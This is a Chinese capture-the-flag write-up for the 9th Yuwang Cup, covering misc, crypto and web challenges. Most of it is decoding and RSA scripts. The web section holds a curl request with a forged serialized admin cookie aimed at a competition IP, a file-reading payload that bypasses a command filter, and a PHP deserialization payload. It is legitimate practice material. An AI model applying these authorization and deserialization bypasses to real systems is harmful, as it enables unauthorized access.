第九届御网杯wp超详细

Python3.8

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

因为我是杂项,密码,和web这三个方向所以就只有这三类的wp
写的不好望各位师傅多多包涵

杂项题

7、ez_picture

下载压缩包

解压后看到有一个图片和文件.zip
这个图片是迷惑项其实没啥用
这里压缩包我已经解开了用的是随波的暴力破解
 

提取出来里面有张图片 放随波里看看,这base64不就出来了吗

8、easy_misc

先看题想着转ASC
77 49 66 77 83 107 104 68 78 70 81 50 90 50 104 87 98 87 74 77 99 51 66 89 100 85 70 120 90 107 104 71 77 51 69 48 90 71 57 119 85 109 69 61
后来也没成功,最后用python脚本跑了一下
 

import base64

# 原始数字序列
numbers = [
    77, 49, 66, 77, 83, 107, 104, 68, 78, 70, 81, 50, 90, 50, 104, 87, 
    98, 87, 74, 77, 99, 51, 66, 89, 100, 85, 70, 120, 90, 107, 104, 71, 
    77, 51, 69, 48, 90, 71, 57, 119, 85, 109, 69, 61
]

# 第一步:将数字转换为ASCII字符
ascii_str = ''.join([chr(n) for n in numbers])
print("第一步解码(ASCII):", ascii_str)

# 第二步:Base64解码(可能有多重)
decoded = ascii_str
while True:
    try:
        # 尝试Base64解码
        temp = base64.b64decode(decoded).decode('utf-8')
        print("解码结果:", temp)
        decoded = temp
    except:
        # 解码失败时退出循环
        break

# 第三步:检查是否有其他编码(如hex)
try:
    # 尝试hex解码
    hex_decoded = bytes.fromhex(decoded).decode('utf-8')
    print("Hex解码结果:", hex_decoded)
    decoded = hex_decoded
except:
    pass

# 最终flag
flag = decoded.strip()
print("\n最终Flag:", flag)

 本来让直接出flag的但是试了不对,这里就想肯定没有那么容易

ASCII码有点眼熟,放进随波中看一下

9、套娃

听这名字都是内中有内的 foremost看到里面有压缩包

点开看里面还是套娃后缀命名为.zip再解压

发现很多文档没办法一个一个看

10、ez_xor

看5f-55-58-5e-42-71-7a-6d-7f-48-4e-5c-78-6a-7d-08-0a-0e-44

直接跑带代码

def solve_ez_xor():
    # Given ciphertext in hex format
    ciphertext_hex = "5f-55-58-5e-42-71-7a-6d-7f-48-4e-5c-78-6a-7d-08-0a-0e-44"
    
    # Convert hex string to bytes
    cipher_bytes = bytes.fromhex(ciphertext_hex.replace("-", ""))
    
    # Method 1: Brute-force single-byte XOR
    print("Trying single-byte XOR brute-force...")
    found = False
    for key in range(256):
        decrypted = bytes([b ^ key for b in cipher_bytes])
        try:
            decrypted_str = decrypted.decode('ascii')
            # Check for common flag patterns
            if "flag" in decrypted_str or "FLAG" in decrypted_str:
                print(f"Found potential solution with key 0x{key:02x}: {decrypted_str}")
                found = True
        except UnicodeDecodeError:
            continue
    
    if not found:
        print("No flag found with single-byte XOR, trying known plaintext attack...")
        
        # Method 2: Known plaintext attack (assuming flag starts with 'flag{')
        known_prefix = b"flag{"
        if len(cipher_bytes) >= len(known_prefix):
            potential_key = cipher_bytes[0] ^ known_prefix[0]
            
            # Verify if the same key works for all prefix bytes
            valid_key = True
            for i in range(min(len(known_prefix), len(cipher_bytes))):
                if (cipher_bytes[i] ^ potential_key) != known_prefix[i]:
                    valid_key = False
                    break
            
            if valid_key:
                print(f"\nFound repeating XOR key: 0x{potential_key:02x}")
                decrypted = bytes([b ^ potential_key for b in cipher_bytes])
                print(f"Decrypted flag: {decrypted.decode('ascii')}")
            else:
                print("Could not find a consistent XOR key with known plaintext attack")
        else:
            print("Ciphertext too short for known plaintext attack")

if __name__ == "__main__":
    solve_ez_xor()

11、光隙中的寄生密钥

解压看还是隐写里面还有个压缩包

flag在压缩包里面

暴力破解 

12、被折叠的显影图纸

直接随波就行,最简单的一道

密码题

1、baby_rsa

写脚本按照要求
最后获取到的flag的值3替换成4提交。

from Crypto.Util.number import long_to_bytes
from gmpy2 import powmod, invert, isqrt

# 给定参数
N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569
e = 65537
c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063

# 由于p和q非常接近,可以通过平方根附近寻找质数
def factor_close_primes(N):
    root = isqrt(N)
    q = root
    while True:
        if N % q == 0:
            return q, N // q
        q -= 1

# 分解N得到p和q
q, p = factor_close_primes(N)

# 计算phi(N)
phi = (p - 1) * (q - 1)

# 计算私钥d
d = invert(e, phi)

# 解密得到明文
m = powmod(c, d, N)

# 将长整数转换为字节
flag = long_to_bytes(m).decode()

# 将flag中的所有3替换为4
modified_flag = flag.replace('3', '4')

print("原始flag:", flag)
print("修改后的flag:", modified_flag)

2、cry_rsa

在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=19 求解出d,然后把d的值加4为flag值。flag格式为flag{****}

看完要求用代码和rsa

4、gift

看完要求想一下什么水果能分呢,当然处了梨哈

头脑一下

这里我是一个一个试出来的最后flag就是flag{zso}

5、草甸方阵的密语

题目描述:考古学家在阿尔卑斯山麓发现了一处古罗马牧羊场遗址,残垣断壁间散落着刻满符号的石板。研究显示,这些符号出自青年时期的凯撒之手 —— 彼时他尚未成为征服高卢的统帅,而是在草甸间放牧的少年。传说中,这位未来的军事天才曾将羊群训练成移动方阵,并用栅栏排列出隐秘的防御阵型。 根据题目可知道用了凯撒和栅栏 反正有工具一个一个加看到里面包含flag停手

6、easy-签到题

题目内容:怀揣黑客梦想的你,对网络世界的神秘挑战心驰神往。听闻御网杯是汇聚高手、满是趣味谜题的竞赛,立刻拉上同样痴迷解谜的青梅竹马小鱼奔赴现场。 活动现场,齿轮与电路装饰的展架林立,张贴着机械组装提示和神秘代码。参赛者们或沉思、或讨论,气氛紧张热烈。小鱼望着字符,满脸困惑:“这都是啥?”尽管你计算机知识尚浅,但热爱驱使你决心与小鱼并肩,破解这些“数字谜题”,开启探索之旅

随便梭哈 

WEB题

17、YWB_Web_xff

阅读源码,绕过ip限制,获取flag。  直接省了

用户python写一个代码用URL 发送一个 POST 请求,可能用于测试目标服务器的响应

flag直接出了

19、YWB_Web_未授权访问

进去发现是普通用户要用amdin用户

  1. curl -X GET \ -H "Cookie: user=0%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D" \ http://47.105.113.86:4000

通过使用 curl 命令,构造带有特定 Cookie 信息的 GET 请求发送到目标服务器,利用服务器对该 Cookie 的验证机制,成功获取到欢迎信息以及包含 flag 的响应内容,从而得到了目标 flag 值 flag{rpuqari28i9l}

18、YWB_Web_命令执行过滤绕过

看源码审计
?/cmd=readfile(%27/tmp/flag.nisp%27);


20、YWB_Web_反序列化
先审源码

构造一个新的

<?php
class mylogin {
    var $user;
    var $pass;
}

$obj = new mylogin();
$obj->pass = "myzS@11wawq";

echo serialize($obj);
?>

运行得出:O:7:"mylogin":2:{s:4:"user";N;s:4:"pass";s:11:"myzS@11wawq";}
直接拿过来 

您可能感兴趣的与本文相关的镜像

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值